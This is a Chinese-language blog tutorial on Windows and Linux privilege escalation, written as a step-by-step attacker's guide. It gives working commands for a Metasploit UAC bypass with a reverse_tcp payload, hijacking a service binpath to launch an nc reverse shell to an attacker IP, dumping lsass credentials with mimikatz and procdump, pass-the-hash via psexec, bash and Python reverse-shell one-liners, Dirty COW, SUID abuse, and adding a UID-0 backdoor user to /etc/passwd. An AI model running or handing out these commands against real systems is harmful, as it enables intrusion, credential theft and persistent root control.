10、🍍操作系统权限提升

2020-12-24  本文已影响0人  远方_6a9f

🍍操作系统权限提升

🟠提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

壹:Windows系统提权 User >> System

1️⃣常见提权方法

1、溢出漏洞提权

2、数据库提权

3、第三方软件提权

2️⃣Cmd命令无法执行原因分析

1、Cmd命令无法执行分析

主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。

2、Cmd命令执行解决方法

通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录)。

setp c:\路径...\cmd.exe #切换至上传的cmd来执行命令

3️⃣提权常用命令讲解

whoami ——查看用户权限systeminfo ——查看操作系统,补丁情况ipconfig——查看当前服务器IPipconfig/allnet user——查看当前用户情况netstat ——查看当前网络连接情况  netstat –ano/netstat –an|find“ESTABLISHED”tasklist ——查看当前进程情况 tasklist/svctaskkill ——结束进程 taskkill-PIDxxnet start  ——启动服务net stop ——停止服务hostname——获取主机名称quser or query user——获取在线用户netstat-ano|findstr3389——获取rdp连接来源IPdir c:\programdata\——分析安装杀软wmic qfegetCaption,Description,HotFixID,InstalledOn——列出已安装的补丁REGqueryHKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp/vPortNumber——获取远程端口tasklist/svc|find"TermService"+netstat-ano——获取远程端口

4️⃣系统溢出漏洞提权究极实战

🟣系统溢出漏洞提权分为两类:

㈠远程溢出

远程溢出提权是指攻击者只需要与服务器建立连接,

然后根据系统的漏洞,使用响应的溢出程序,

即可获取到远程服务器的root权限。

㈡本地溢出

本地溢出提权首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,

攻击者通常会向服务器上传本地溢出程序,在服务器端执行,

如果系统存在漏洞,那么将溢出root权限

一、UAC绕过提权

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。

uac 绕过exp

use exploit/windows/local/askmeterpreter > background  [*] Backgrounding session 1... msf5 exploit(multi/handler) > use exploit/windows/local/ask msf5 exploit(windows/local/ask) > set session 1 msf5 exploit(windows/local/ask) > set lhost 192.168.60.79 msf5 exploit(windows/local/ask) > set lport 4444 msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ask) > set technique exe msf5 exploit(windows/local/ask) > exploit

其他exp:use exploit/windows/local/bypassuacuse exploit/windows/local/bypassuac

二、利用系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

⚪微软官方时刻关注漏洞补丁列表网址:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

比如常用的几个已公布的 exp:KB2592799KB3000061KB2592799

🔴快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

systeminfo>micropoor.txt&(for%iin(KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780)do@typemicropoor.txt|@find/i"%i"||@echo%i you can fuck)&del/f/q/a micropoor.txt

⛔Linux中在类似 tmp 目录等可写目录下执行:如 C:\tmp>

🟡MSF后渗透扫描:

post/windows/gather/enum_patches

🟢Powershell扫描:

Import-ModuleC:\Sherlock.ps1Find-AllVulns

⚫目前已对外公开exp注:

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/WindowsExploits/Exploits

https://github.com/AusJock/Privilege-Escalation

三、利用SC将administrator提权至system

🔴试用版本:windows 7、8、03、08、12、16

⚪简单介绍一下概念

关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact

🟡这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务然后执行sc start systcmd,就得到了一个system权限的cmd环境

四、利用不带引号的服务路径

🟣Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞,如下述路径,C:\Program Files\Vulnerable.exe中存在空格,此时在C盘根目录上传Program.exe文件时,就会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。

C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable Service\Sub.exeC:\Program Files\Vulnerable Service\Sub Directory\service.exe

🟤我们可以使用以下命令查看错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

五、利用不安全的服务权限

⚫即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。

AccessChk工具可以用来查找用户可以修改的服务:

accesschk.exe -uwcqv “Authenticated Users” * /accepteulaaccesschk.exe -uwcqv “user” *

🔴sc命令也可以用来查找用户可以修改的服务:

sc qc “Service”  #查找可以修改的服务

sc configPFNETbinpath=“net user rottenadmin P@ssword123!/add”sc stopPFNETsc start PFNET

每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell

🔵完整案例:

①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)

“sc qc DcomLaunch”命令查询DcomLaunch的详细信息

net start|find"DCOM Server Process Launcher"查看服务是否启动

运行 tasklist /svc  找到对应服务

②、修改服务并获取系统权限

这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改

sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e  C:\WINDOWS\system32\cmd.exe"

⛔注意binpath=后面一定要有个空格,IP为攻击者IP

③、查看是否第二步成功

sc qc DcomLaunch

④、配置账号密码

sc config DcomLaunch obj= ".\LocalSystem"  password= ""

obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。

password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。

⑤、重启服务

net start DcomLaunch

⑥、攻击机上用nc进行监听4433即可得到反弹的shell

nc.exe -vv -l -p 4433

六、计划任务

🔴如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

schtasks/query/foLIST/v#查看计算机的计划任务accesschk.exe-dqv"D:\test"-accepteula#查看指定目录的权限配置情况

七、Meterpreter基础提权

🟡首先在Meterpreter会话执行ps命令查看目标机当前进程:

假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584:

然后我们可以执行以下语句窃取该用户进程的令牌:

steal_token  2584

5️⃣溢出漏洞安全防范

🟣及时通过Windows Update或第三方工具360更新补丁

6️⃣提权后的密码安全性测试

🟢简单介绍一下概念

虽然我们已经有了管理员权限,但是我们最好是有管理员密码进行扩展攻击,很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有,同时远程连接时,比如使用木马,很容易被发现或者清理,如果用管理员账号,可以清除渗透,也就是对操作系统和服务器不产生影响的情况下,尤其是正规渗透测试过程中,都是取得管理员账号密码,登录3389端口或反端口连接者证明为成功

简单地说就是从获取管理员权限——>获取管理员账号

1、本地管理员密码如何直接提取

①、直接通过mimikatz读取管理员密码,win10无效

mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。

第一条:提升权限

privilege::debug

第二条:抓取密码

sekurlsa::logonpassWords

第三条:当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码,具体步骤如下

procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full

②、Lazagne 需要本地支持python

🔵简单介绍一下

LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。

laZagne.exe all  #获取所有密码laZagne.exe browsers  #只获取浏览器记住的密码laZagne.exe all -oN  #将输出保存到文件

-oN表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。

2、本地Hash远程直接登录

🟤遇到高版本的系统密码不是明文的情况下,我们通过哈希值来取得管理员账号。主要通过MSF提供的exploit/windows/smb/psexec模块来完成

msf>use exploit/windows/smb/psexecmsf>set rhost 目标IP msf>set SMBUser administrator  #目标账号msf>set SMBPass 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4 #目标哈希值msf>exploit msf>shell

3、Hash密钥暴力破解

①、通过LC5暴力hash密码

使用gmer直接提权SAM和system文件或用Pwdump7提取hash,最后使用LC5破解

②、使用ophcrack破解系统hash密码

http://simeon.blog.51cto.com/18680/122160

贰:Linux系统提权

🟥当我们拿到了一台Linux服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。

1️⃣linux发行版本

🟩是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:

CentOS    社区企业版(服务器端)redhat    社区个人版ubuntu  (个人端)kali    (hacked)

2️⃣linux内核

Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

🟧Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

第一个组数字:目前发布的内核主版本。

第二个组数字:偶数表示稳定版本;奇数表示开发中版本。

第三个组数字:错误修补的次数。

使用 uname -r 可以看到linux系统的发行版本号。3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 而 123.el7.x86_64则是 redhat 的发行版本信息,123 代表编译123次,el7代表的是redhat7,x86_64则是64位系统。

或者使用以下命令也可以看到系统内核及版本的一些信息:uname -a                #查看内核的具体信息cat /proc/version        #查看内核的具体信息cat /etc/centos-release  #查看centos发行版本cat /etc/redhat-release  #查看redhat发行版本

3️⃣Linux开启apache服务

🟨在终端输入

“vim/etc/apache2/ports.conf”->

键盘输入i 进入插入编辑模式 -> 修改apache2默认监听端口号为8080 -> 编辑好后,按Esc键+“:wq” 保存退出 -> 在终端输入

“/etc/init.d/apache2 start”

4️⃣Linux提权的前提:

拿到了一个低权限的账号

能上传和下载文件

机器上有python、java、perl等环境(非必须项)

5️⃣Linux常用渗透命令学习

死记硬背以下12类命令:系统信息查看类、文件目录类、驱动挂载类、程序安装类、源代码包安装、压缩解压类、进程控制类、程序运行类、用户帐号类、vi编辑类、网络服务、其他类等。

详情参考:Linux常用渗透命令篇

6️⃣Linux提权方法总结

一、Linux反弹提权

**如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 **

1、首先得有一个netcat

🟩简单介绍一下netcat

功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

详情参考:https://www.cnblogs.com/nmap/p/6148306.html

①netcat参数介绍

1)-l            用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。2)-p     暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)3)-s            指定发送数据的源IP地址,适用于多网卡机4)-u            指定nc使用UDP协议,默认为TCP5)-v            输出交互或出错信息,新手调试时尤为有用6)-w            超时秒数,后面跟数字7)-z            表示zero,表示扫描时不发送任何数据

②nc用法介绍 1——tcp监听

nc nc -l -p 8080      开启本地8080端口监听

③nc用法介绍 2——反弹服务器shell

方法⑴:REMOTE主机绑定SHELL

在公网监听nc -l -p 5354 -t -ec:\winnt\system32\cmd.exe或者nc -l -p 5555 -t -e cmd.exe在内网主动建立连接nc -nvv 192.168.153.138 5555

讲解:-t是通过telne模式执行 cmd.exe 程序,可以省略。

绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

方法⑵:REMOTE主机绑定SHELL并反向连接

在公网监听nc -lp 5555在内网机器反弹nc -t -ec:\winnt\system32\cmd.exe 192.168.x.x 5354或者nc -t -e cmd 192.168.153.140 5555

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)

2、利用bash直接反弹

🟪简单介绍一下bash

Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它支持文件名替换(通配符匹配)、管道、here文档、命令替换、变量,以及条件判断和循环遍历的结构控制语句。

(1) bash反弹一句话

1.bash-i>&/dev/tcp/192.168.1.1/80800>&1

2.本地 nc -l -p 8080

(2)bash一句话命令详解

以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。

命令                                命令详解bash -i                          产生一个bash交互环境>&                              将联合符号前面的内容与后面的相结合然后一起重定向给后者/dev/tcp/192.168.31.41/8080      linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让主机与目标主机192.168.61.41:8080端口建立一个TCP连接。0>&1                            将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容。

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

二、内核漏洞提权——脏牛

🟦简单介绍一下脏牛

脏牛漏洞:又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。还有一些其他的内核漏洞提权了。但是内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高(需要安装有gcc等编译环境 )。所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。

漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

exp:https://github.com/gbonacini/CVE-2016-5195

🟩示例:脏牛内核提权

①首先查看发行版本

cat /etc/issuecat /etc/*-release

②然后查看内核版本

uname -a

③内核>=2.6.22,利用gcc编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

④执行当前编译的dirty.c文件,然后输入新密码123456

./dirty

⑤等待一段时间后,成功创建。然后su firefart切换到此用户会发现已经是root权限了

三、SUID提权

🟪简单介绍一下概念

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

🟫什么是SUID提权?

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

⑴在本地查找符合条件的文件,有以下三个命令

以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试find/-user root-perm-4000-print2>/dev/nullfind/-perm-u=s-typef2>/dev/nullfind/-user root-perm-4000-exec ls-ldb{}\;

⑵已知的可用来提权的linux可行性的文件列表如下:

nmapvimfindbashmorelessnanocp

⬛示例:利用find文件提权

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件

find/-perm-u=s-typef2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行

/usr/bin/find examples.desktop -exec whoami \;

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell,

python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份

本节来自谢公子的博客:https://blog.csdn.net/qq_36119192/article/details/84872644

四、Linux配置错误提权

⬜利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权

对Linux配置进行检查的脚本有:

https://www.securitysift.com/download/linuxprivchecker.py

http://pentestmonkey.net/tools/audit/unix-privesc-check

🟥当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。

接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。

首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。

我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。

首先,使用perl语言生成带有盐值的密码:

perl-le'printcrypt("password@123","addedsalt")'

然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

以用户名:test  密码: password@123 登录主机,登录成功后,是 root 权限。

以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。

useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus

本章来自于谢公子的博客:https://blog.csdn.net/qq_36119192/article/details/99871667

五、定时任务提权

🟫系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。

ls -l /etc/cron*

使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

六、密码复用提权

我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码。那么就可以尝试一下 su root 来提权了。

作者:盖世船长_段公子

链接:https://www.jianshu.com/p/ee8fc20dc5e5

来源:简书

著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

上一篇下一篇

猜你喜欢

热点阅读